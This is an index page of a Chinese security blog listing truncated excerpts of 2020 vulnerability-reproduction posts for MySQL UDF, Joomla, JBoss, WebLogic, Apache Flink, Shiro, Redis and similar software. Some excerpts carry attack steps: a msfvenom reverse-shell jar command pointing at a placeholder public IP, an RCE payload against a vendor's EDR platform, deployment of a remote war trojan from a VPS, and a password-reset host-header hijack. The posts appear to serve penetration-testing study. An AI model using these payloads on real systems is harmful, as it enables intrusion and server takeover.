cj_Hydra's Blog

【漏洞复现】Mysql UDF提权

cj_Allen — Fri, 27 Nov 2020 14:45:23 +0800

前言： UDF (user defined function)，即用户自定义函数。是通过添加新函数，对MySQL的功能进行扩充，其实就像使用本地MySQL函数如 user() 或 concat() 等。那么我们该如何使用UDF文件呢？默认的

Kali安装php7.4+mysql的安装

cj_Allen — Mon, 16 Nov 2020 12:38:30 +0800

前言： php是世界上最好的语言，可是在kali中如何安装呢? 其实在默认的2020版本的kali里面已经集成了php7.3，只需要运行apt-get install php7.3即可对php7.3的安装。那么如何安装php7.4呢？添加源：首先在 etc/apt/下新建一个文件夹 trusted.gpg.d sudo apt -y install lsb-release apt-transport-https ca-certificates sudo wget -O /etc/apt/truste

【漏洞复现】Joomla远程代码执行(RCE)

cj_Allen — Thu, 12 Nov 2020 14:45:19 +0800

前言： Joomla是一套内容管理系统，是使用PHP语言加上MySQL数据库所开发的软件系统，最新版本为3.9.11，可以在Linux、Windows、MacOSX等各种不同的平台上执行，在CMS评测中获得“最佳开源CMS”奖！漏洞位于根目录下的configuration.php ，漏洞相关poc已在互联网公开，采用Joomla并存在漏洞的服务器已处于危险之中。影响版本： Joomla 3.0.0-3.4.6 复现过程：第一步：下载源码进行环境搭建 https://downloads.joomla.o

【实战】Jboss未授权访问（JMX-Console）Getshell

cj_Allen — Thu, 05 Nov 2020 23:24:24 +0800

都是重复造轮子，没啥技术含量，只能说以后遇到了知道怎么操作就行。 GO：访问地址：http://ip/JMX-Console 找到jboss.deployment 进入页面后找到void addURL() 此时部署我们远程的war木马，部署好了以后点击Invoke http:vpsIP地址/soft/cus.war 随后来到URLList中查看Value值是否已经部署好，并且为我们的远程war木马地址最后点击Apply Changes 后耐心等待一会儿，然后回到JMX-Console目录中找到

[漏洞复现]WebLogic 11g后台上传webshell

cj_Allen — Thu, 05 Nov 2020 21:06:12 +0800

前言： Weblogic中间件默认端口为:7001，我这里本地在Winserver2012上搭建了weblogic 11g中间件，至于搭建的教程就不在这里写出来，网上一搜一大把，主要写的就是告诉大家当进入后台以后如何部署我们的webshell。复现：第一步：登录后台界面如下，点击部署。第二步：点击安装第三步：点击上传文件–进入文件上传界面，选择要上传的war包。第四步：制作一个war包，命令如下 jar -cvf [war包名称].war 打包目录第五步：上传war包后一直点击下一步

【漏洞复现】Nginx 文件名逻辑漏洞（CVE-2013-4547）

cj_Allen — Wed, 04 Nov 2020 11:25:17 +0800

前言：这个漏洞其实和代码执行没有太大关系，其主要原因是错误地解析了请求的URI，错误地获取到用户请求的文件名，导致出现权限绕过、代码执行的连带影响。举个例子，比如，Nginx匹配到.php结尾的请求，就发送给fastcgi进行解析，常见的写法如下： location ~ \.php$ { include fastcgi_params; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_para

[漏洞复现]Fastjson1.2.24反序列化环境搭建+漏洞复现

cj_Allen — Mon, 02 Nov 2020 11:17:18 +0800

前言： Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。 Fastjson 可以操作任何 Java 对象，即使是一些预先存在的没有源码的对象。 Fastjson 特性：提供服务器端、安卓客户端两种解析工具，性能表现较好。提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方法即可将对象转换成 JSON 字符串，pa

xray被动扫描+burpsuite

cj_Allen — Mon, 26 Oct 2020 23:34:15 +0800

前言：通常我们在进行web扫描漏洞时候，都是使用各种扫描器输入网址乱扫一通。这种方式虽然大众化，但存在许许多多的缺点。比如：直接扫描导致访问网站变慢、IP存在被防火墙BAN的可能。那么今天带来的新姿势就是xray被动式扫描，在我们进行手动浏览器网页时,使用burp抓包，并且对浏览过的网页进行漏洞扫描。流程如下：浏览器访问目标网址——》burp抓包——》xray检测burp所抓取的数据包。第一步：打开burp，设置代理。第二步：浏览器设置代理与burp进行联通。此时通过浏览器访问网址后的数

[漏洞复现]Apache Flink未授权访问+远程代码命令执行

cj_Allen — Sat, 24 Oct 2020 22:30:41 +0800

前言：近日,有安全研究员公开了一个Apache Flink的任意Jar包上传导致远程代码执行的漏洞，影响范围：<= 1.9.1(最新版本) 但是作者通过测试在版本Version: 1.11.2也是受影响的，此次复现就是通过版本Version: 1.11.2进行复现利用。漏洞复现：首先通过msfveon生成jar包，命令： msfvenom -p java/meterpreter/reverse_tcp LHOST=公网IP地址 LPORT=监听端口 -f jar > rce.jar 然

windows平台下CMDER的安装和配置

cj_Allen — Sat, 10 Oct 2020 16:50:56 +0800

步骤：第一步：下载cmder_mini文件，打开github直接搜索cmder排名第一的就是，找到cmder_mini.zip版本下载。第二步：等待下载完成，将下载的压缩包解压，例如我将压缩包解压到“C盘”目录中，此处的目录可以自行选择。第三步：配置系统环境变量，打开我的电脑，win10电脑是找到此电脑，右击属性，更改设置，高级，环境变量。第四步：在系统变量中新建，变量名设置为CMD_HOME，变量值为当前cmder解压的路径，我的是“C:\Cmder_mini” 后点击确定。第五步：在系

不安全的HTTP方法（测试）

cj_Allen — Tue, 08 Sep 2020 16:05:29 +0800

前言：我们常见的HTTP请求方法是GET、POST和HEAD。但是，其实除了这两个之外，HTTP还有一些其他的请求方法。 WebDAV （Web-based Distributed Authoring and Versioning）一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1，在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法，使应用程序可对Web Server直接读写，并支持写文件锁定(Locking)及解锁(Unlock)，还可以支持文件的版本控制。 We

在密码重置请求包中添加X-Forwarded-Host实现受害者账户完全劫持

cj_Allen — Tue, 25 Aug 2020 16:19:30 +0800

今天分享的这篇Writeup为作者通过利用目标网站“忘记密码”功能，在重置密码请求发包中添加X-Forwarded-Host主机信息，欺骗目标网站把重置密码的链接导向到自己的服务器，从而实现对受害者账户的完全劫持这里，基于保密原因，先假设目标测试网站为redacted.com，在对其测试过程中，我把重点放到了它的“忘记密码”功能处。经过了6个小时的折腾，我发现了其中存在一个非常有意思的漏洞，利用该漏洞可以实现对目标受害者的完全账户劫持。发现过程：所需工具：BurpSuite、Ngrok Server.

某信服EDR终端检测响应平台RCE漏洞

cj_Allen — Tue, 18 Aug 2020 10:06:31 +0800

前言：这个平台是干嘛的，这里就不废话了，刚好赶上了护网期间爆出来的，回头就被告知护网结束，这里简单复现一下。复现：第一步：通过fofa搜索语法title="终端检测响应平台"可以找到一大批使用该系统的站点。第二步：随缘点击进去一个来到主界面，也就是这个样子。第三步：构造payload，这里漏洞文件是c.php，漏洞参数是host /tool/log/c.php?strip_slashes=system&host=id 直接root权限反弹shell。 ...

Zookeeper未授权访问利用

cj_Allen — Wed, 05 Aug 2020 14:42:50 +0800

前言： ZooKeeper是一个分布式的，开放源码的分布式应用程序协调服务，是Google的Chubby一个开源的实现，是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件，提供的功能包括：配置维护、域名服务、分布式同步、组服务等。 Zookeeper 的默认开放端口是2181。Zookeeper 安装部署之后默认情况下不需要任何身份验证，造成攻击者可以远程利用 Zookeeper，通过服务器收集敏感信息或者在 Zookeeper 集群内进行破坏（比如：kill命令）。攻击者能够执

Apache Solr远程命令执行漏洞复现+实战

cj_Allen — Tue, 21 Jul 2020 17:07:53 +0800

前言： Solr是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提出查找请求，并得到XML格式的返回结果。漏洞原理：该漏洞的产生是由于两方面的原因：当攻击者可以直接访问Solr控制台时，可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。 Apache Solr默认集成VelocityResponseWriter插件，在该插件的初

Redis未授权访问漏洞利用总结

cj_Allen — Wed, 24 Jun 2020 17:34:09 +0800

没有设置密码认证（一般为空），可以免密码远程登录redis服务。

ActiveMQ漏洞（CVE-2016-3088）利用总结

cj_Allen — Tue, 23 Jun 2020 15:51:33 +0800

前言： Apache ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。随着中间件的启动，会打开两个端口，61616是工作端口，消息在这个端口进行传递；8161是Web管理页面端口。 Jetty 是一个开源的 servlet 容器，它为基于 Java 的 web 容器，例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveM

【漏洞复现】CVE-2020-0796漏洞复现（win10系统)

cj_Allen — Mon, 15 Jun 2020 23:05:15 +0800

前言： Microsoft Windows和Microsoft Windows Server都是美国微软（Microsoft）公司的产品，Microsoft Windows是一套个人设备使用的操作系统，Microsoft Windows Server是一套服务器操作系统，Server Message Block是其中的一个服务器信息传输协议。微软公布了在Server Message Block 3.0（SMBv3）中发现的“蠕虫型”预授权远程代码执行漏洞。影响版本：适用于32位系统的Windows

【漏洞复现】ApacheShiro1.2.4反序列化漏洞复现(CVE-2016-4437)

cj_Allen — Mon, 15 Jun 2020 00:01:28 +0800

前言： Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。影响版本： Apache Shiro <= 1.2.4 漏洞原理： Apache Shiro 1.2.4及以前版本中，Apache Shiro默认使用了CookieRememberMeManager，其处理cookie的流程是：得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码

【漏洞复现】JBoss反序列化漏洞(CVE-2017-12149)

cj_Allen — Mon, 18 May 2020 16:46:22 +0800

前言： JBoss 反序列化漏洞，该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中，其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化，导致恶意访问者通过精心设计的序列化数据执行任意代码。但近期有安全研究者发现JBossAS 6.x也受该漏洞影响，恶意访问者利用该漏洞无需用户验证即可获得服务器的控制权。该漏洞的细节和验证代码已公开，为避免造成损失，建议及时修复升级至JBossAS 7版本影响版本：